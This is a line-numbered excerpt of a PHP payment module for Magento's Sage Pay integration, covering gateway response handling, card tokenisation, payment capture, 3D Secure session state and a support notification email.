871 if (empty($r) OR !isset($r['Status'])) {
872 $msg = $this->_SageHelper()->__('Sage Pay is not available at this time. Please try again later.');
873 Sage_Log::log($msg, 1);
874 $result
875 ->setResponseStatus('ERROR')
876 ->setResponseStatusDetail($msg);
877 return $result;
878 }
879
880 if (isset($r['VPSTxId'])) {
881 $result->setVpsTxId($r['VPSTxId']);
882 }
883 if (isset($r['SecurityKey'])) {
884 $result->setSecurityKey($r['SecurityKey']);
885 }
886
887 switch ($r['Status']) {
888 case 'FAIL':
889 $params['order'] = Mage::getSingleton('checkout/session')->getQuote()->getReservedOrderId();
890 $params['error'] = Mage::helper('sagepaysuite')->__($r['StatusDetail']);
891 //$rc = $this->sendNotificationEmail('', '', $params);
892
893 $result->setResponseStatus($r['Status'])
894 ->setResponseStatusDetail(Mage::helper('sagepaysuite')->__($r['StatusDetail']))
895 ->setVPSTxID(1)
896 ->setSecurityKey(1)
897 ->setTxAuthNo(1)
898 ->setAVSCV2(1)
899 ->setAddressResult(1)
900 ->setPostCodeResult(1)
901 ->setCV2Result(1)
902 ->setTrnSecuritykey(1);
903 return $result;
904 break;
905 case 'FAIL_NOMAIL':
906 Mage::throwException($this->_SageHelper()->__($r['StatusDetail']));
907 break;
908 case parent::RESPONSE_CODE_INVALID:
909 Mage::throwException($this->_SageHelper()->__('INVALID. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
910 break;
911 case parent::RESPONSE_CODE_MALFORMED:
912 Mage::throwException($this->_SageHelper()->__('MALFORMED. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
913 break;
914 case parent::RESPONSE_CODE_ERROR:
915 Mage::throwException($this->_SageHelper()->__('ERROR. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
916 break;
917 case parent::RESPONSE_CODE_REJECTED:
918 Mage::throwException($this->_SageHelper()->__('REJECTED. %s', Mage::helper('sagepaysuite')->__($r['StatusDetail'])));
919 break;
920 case parent::RESPONSE_CODE_3DAUTH:
921 $result->setResponseStatus($r['Status'])
922 ->setResponseStatusDetail((isset($r['StatusDetail']) ? $r['StatusDetail'] : '')) //Fix for simulator
923 ->set3DSecureStatus($r['3DSecureStatus']) // to store
924 ->setMD($r['MD']) // to store
925 ->setACSURL($r['ACSURL'])
926 ->setPAReq($r['PAReq']);
927 break;
928 default:
929
930 $result->setResponseStatus($r['Status'])
931 ->setResponseStatusDetail($r['StatusDetail']) // to store
932 ->setVpsTxId($r['VPSTxId']) // to store
933 ->setSecurityKey($r['SecurityKey']) // to store
934 ->setTrnSecuritykey($r['SecurityKey']);
935 if (isset($r['3DSecureStatus']))
936 $result->set3DSecureStatus($r['3DSecureStatus']);
937 if (isset($r['CAVV']))
938 $result->setCAVV($r['CAVV']);
939
940 if (isset($r['TxAuthNo']))
941 $result->setTxAuthNo($r['TxAuthNo']);
942 if (isset($r['AVSCV2']))
943 $result->setAvscv2($r['AVSCV2']);
944 if (isset($r['PostCodeResult']))
945 $result->setPostCodeResult($r['PostCodeResult']);
946 if (isset($r['CV2Result']))
947 $result->setCv2result($r['CV2Result']);
948 if (isset($r['AddressResult']))
949 $result->setAddressResult($r['AddressResult']);
950
951 $result->addData($r);
952
953 //Saving TOKEN.
954 if (!$callback3D && $result->getData('Token')) {
955 $tokenData = array(
956 'Token' => $result->getData('Token'),
957 'Status' => $result->getData('Status'),
958 'Vendor' => $request->getData('Vendor'),
959 'CardType' => $request->getData('CardType'),
960 'ExpiryDate' => $request->getData('ExpiryDate'),
961 'StatusDetail' => $result->getData('StatusDetail'),
962 'Protocol' => 'direct',
963 'CardNumber' => $request->getData('CardNumber'),
964 'Nickname' => $request->getData('Nickname')
965 );
966
967 Mage::getModel('sagepaysuite/sagePayToken')->persistCard($tokenData);
968 }
969
970 break;
971 }
972 } catch (Exception $e) {
973
974 Sage_Log::logException($e);
975
976 $result
977 ->setResponseStatus('ERROR')
978 ->setResponseStatusDetail(Mage::helper('sagepaysuite')->__($e->getMessage()));
979 return $result;
980 }
981
982 return $result;
983 }
984
985 public function getNewTokenCardArray(Varien_Object $payment) {
986 $data = array();
987 $data ['CardHolder'] = $payment->getCcOwner();
988 $data ['CardNumber'] = $payment->getCcNumber();
989 $data ['CardType'] = $payment->getCcType();
990 $data ['Currency'] = $payment->getOrder()->getOrderCurrencyCode();
991 $data ['CV2'] = $payment->getCcCid();
992 $data ['Nickname'] = $payment->getCcNickname();
993 $data ['Protocol'] = 'direct'; #For persistant storing
994 $data ['ExpiryDate'] = str_pad($payment->getCcExpMonth(), 2, '0', STR_PAD_LEFT) . substr($payment->getCcExpYear(), 2);
995 if ($payment->getCcSsStartMonth() && $payment->getCcSsStartYear()) {
996 $data['StartDate'] = str_pad($payment->getCcSsStartMonth(), 2, '0', STR_PAD_LEFT) . substr($payment->getCcSsStartYear(), 2);
997 }
998
999 return $data;
1000 }
1001
1002 /**
1003 * Capture payment
1004 *
1005 * @param Varien_Object $orderPayment
1006 * @return Mage_Payment_Model_Abstract
1007 */
1008 public function capture(Varien_Object $payment, $amount) {
1009 #Process invoice
1010 if (!$payment->getRealCapture()) {
1011 return $this->captureInvoice($payment, $amount);
1012 }
1013
1014 /**
1015 * Token Transaction
1016 */
1017 if (true === $this->_tokenPresent()/* || $this->_getSageSuiteSession()->getLastSavedTokenccid() */) {
1018 $_info = new Varien_Object(array('payment' => $payment));
1019 $result = $this->getTokenModel()->tokenTransaction($_info);
1020 if ($result['Status'] != 'OK') {
1021 Mage::throwException(Mage::helper('sagepaysuite')->__($result['StatusDetail']));
1022 }
1023
1024 $this->getSageSuiteSession()->setInvoicePayment(true);
1025
1026 $this->setSagePayResult($result);
1027 return $this;
1028 }
1029 /**
1030 * Token Transaction
1031 */
1032 if ($this->_getIsAdmin() && (int) $this->_getAdminQuote()->getCustomerId() === 0) {
1033 //$cs = Mage::getModel('customer/customer')->setWebsiteId($this->_getAdminQuote()->getStoreId())->loadByEmail($this->_getAdminQuote()->getCustomerEmail());
1034 $cs = Mage::helper('sagepaysuite')->existsCustomerForEmail($this->_getAdminQuote()->getCustomerEmail(), $this->_getAdminQuote()->getStore()->getWebsite()->getId());
1035 if ($cs) {
1036 Mage::throwException($this->_SageHelper()->__('Customer already exists.'));
1037 }
1038 }
1039
1040 /* if ($this->getSageSuiteSession()->getSecure3d()) {
1041 $this->capture3D(
1042 $payment,
1043 $this->getSageSuiteSession()->getPares(),
1044 $this->getSageSuiteSession()->getEmede());
1045 $this->getSageSuiteSession()->setSecure3d(null);
1046 return $this;
1047 } */
1048 $this->getSageSuiteSession()->setMd(null)
1049 ->setAcsurl(null)
1050 ->setPareq(null);
1051
1052 $error = false;
1053
1054 $payment->setAnetTransType(parent::REQUEST_TYPE_PAYMENT);
1055
1056 $payment->setAmount($amount);
1057
1058 $request = $this->_buildRequest($payment);
1059 $result = $this->_postRequest($request);
1060 switch ($result->getResponseStatus()) {
1061 case 'FAIL':
1062 $payment
1063 ->setStatus('FAIL')
1064 ->setCcTransId($result->getVPSTxId())
1065 ->setLastTransId($result->getVPSTxId())
1066 ->setCcApproval('FAIL')
1067 ->setAddressResult($result->getAddressResult())
1068 ->setPostcodeResult($result->getPostCodeResult())
1069 ->setCv2Result($result->getCV2Result())
1070 ->setCcCidStatus($result->getTxAuthNo())
1071 ->setSecurityKey($result->getSecurityKey())
1072 ->setAdditionalData($result->getResponseStatusDetail());
1073 break;
1074 case 'FAIL_NOMAIL':
1075 $error = $result->getResponseStatusDetail();
1076 break;
1077 case parent::RESPONSE_CODE_APPROVED:
1078
1079 $payment->setSagePayResult($result);
1080
1081 $payment
1082 ->setStatus(parent::RESPONSE_CODE_APPROVED)
1083 ->setCcTransId($result->getVPSTxId())
1084 ->setLastTransId($result->getVPSTxId())
1085 ->setCcApproval(parent::RESPONSE_CODE_APPROVED)
1086 ->setAddressResult($result->getAddressResult())
1087 ->setPostcodeResult($result->getPostCodeResult())
1088 ->setCv2Result($result->getCV2Result())
1089 ->setCcCidStatus($result->getTxAuthNo())
1090 ->setSecurityKey($result->getSecurityKey());
1091
1092 $this->getSageSuiteSession()->setInvoicePayment(true);
1093
1094 break;
1095 case parent::RESPONSE_CODE_3DAUTH:
1096
1097 $payment->setSagePayResult($result);
1098
1099 $payment->getOrder()->setIsThreedWaiting(true);
1100
1101 $this->getSageSuiteSession()->setSecure3dMethod('directCallBack3D');
1102
1103 $this->getSageSuiteSession()
1104 ->setAcsurl($result->getData('a_cs_ur_l'))
1105 ->setEmede($result->getData('m_d'))
1106 ->setPareq($result->getData('p_areq'));
1107 $this->setVndor3DTxCode($payment->getVendorTxCode());
1108
1109 break;
1110 default:
1111 if ($result->getResponseStatusDetail()) {
1112 $error = '';
1113 if ($result->getResponseStatus() == parent::RESPONSE_CODE_NOTAUTHED) {
1114 $error = $this->_SageHelper()->__('Your credit card can not be authenticated: ');
1115 } else if ($result->getResponseStatus() == parent::RESPONSE_CODE_REJECTED) {
1116 $error = $this->_SageHelper()->__('Your credit card was rejected: ');
1117 }
1118 $error .= $result->getResponseStatusDetail();
1119 } else {
1120 $error = $this->_SageHelper()->__('Error in capturing the payment');
1121 }
1122 break;
1123 }
1124
1125 if ($error !== false) {
1126 Mage::throwException($error);
1127 }
1128 return $this;
1129 }
1130
1131 public function saveOrderAfter3dSecure($pares, $md) {
1132
1133 $this->getSageSuiteSession()->setSecure3d(true);
1134 $this->getSageSuiteSession()->setPares($pares);
1135 $this->getSageSuiteSession()->setMd($md);
1136
1137 $quote = Mage::getSingleton('checkout/type_onepage')->getQuote();
1138 $order = $this->directCallBack3D($quote->getPayment(), $pares, $md);
1139
1140 $this->getSageSuiteSession()
1141 ->setAcsurl(null)
1142 ->setPareq(null)
1143 ->setSageOrderId(null)
1144 ->setSecure3d(null)
1145 ->setEmede(null)
1146 ->setPares(null)
1147 ->setMd(null);
1148
1149 return $order;
1150 }
1151
1152 public function sendNotificationEmail($toEmail = '', $toName = '', $params = array()) {
1153 $translate = Mage::getSingleton('core/translate');
1154
1155 $translate->setTranslateInline(false);
1156
1157 $storeId = $this->getStoreId();
1158
1159 if ($this->getWebsiteId() != '0' && $storeId == '0') {
1160 $storeIds = Mage::app()->getWebsite($this->getWebsiteId())->getStoreIds();
1161 reset($storeIds);
1162 $storeId = current($storeIds);
1163 }
1164 $toEmail = Mage::getStoreConfig('trans_email/ident_support/email', $storeId);
1165 $toName = Mage::getStoreConfig('trans_email/ident_support/name', $storeId);
1166
1167
1168 $mail = Mage::getModel('core/email_template')
1169 ->setDesignConfig(array('area' => 'frontend', 'store' => $storeId))
1170 ->sendTransactional(
1171 Mage::getStoreConfig('payment/sagepaydirectpro/email_timeout_template'), array('name' => Mage::getStoreConfig('trans_email/ident_general/name', $storeId), 'email' => Mage::getStoreConfig('trans_email/ident_general/email', $storeId)),
1172// Mage::getStoreConfig('payment/sagepaydirectpro/email_timeout_identity'),
1173 $toEmail, $toName, $params);
1174
1175 $translate->setTranslateInline(true);
1176
1177 return $mail->getSentSuccess();
1178 }
1179
1180 /* public function getOrderPlaceRedirectUrl()
1181 {
1182 $tmp = $this->getSageSuiteSession();
1183
1184 Ebizmarts_SagePaySuite_Log::w($tmp->getAcsurl().'-'.$tmp->getEmede().'-'.$tmp->getPareq());
1185
1186 if ( $tmp->getAcsurl() && $tmp->getEmede() && $tmp->getPareq()) {
1187 #return Mage::getUrl('sagepaydirectpro/payment/redirect', array('_secure' => true));
1188 return Mage::getUrl('sagepaydirectpro-3dsecure', array('_secure' => true));
1189 } else {
1190 return false;
1191 }
1192 } */
1193
1194 public function getPayPalTitle() {
1195 return Mage::getStoreConfig('payment/sagepaypaypal/title', Mage::app()->getStore()->getId());
1196 }
1197
1198 /**
1199 * @return array
1200 */
1201 public function getConfigSafeFields() {
1202 return array('active', 'mode', 'title', 'useccv', 'threed_iframe_height', 'threed_iframe_width', 'threed_layout');
1203 }
1204
1205}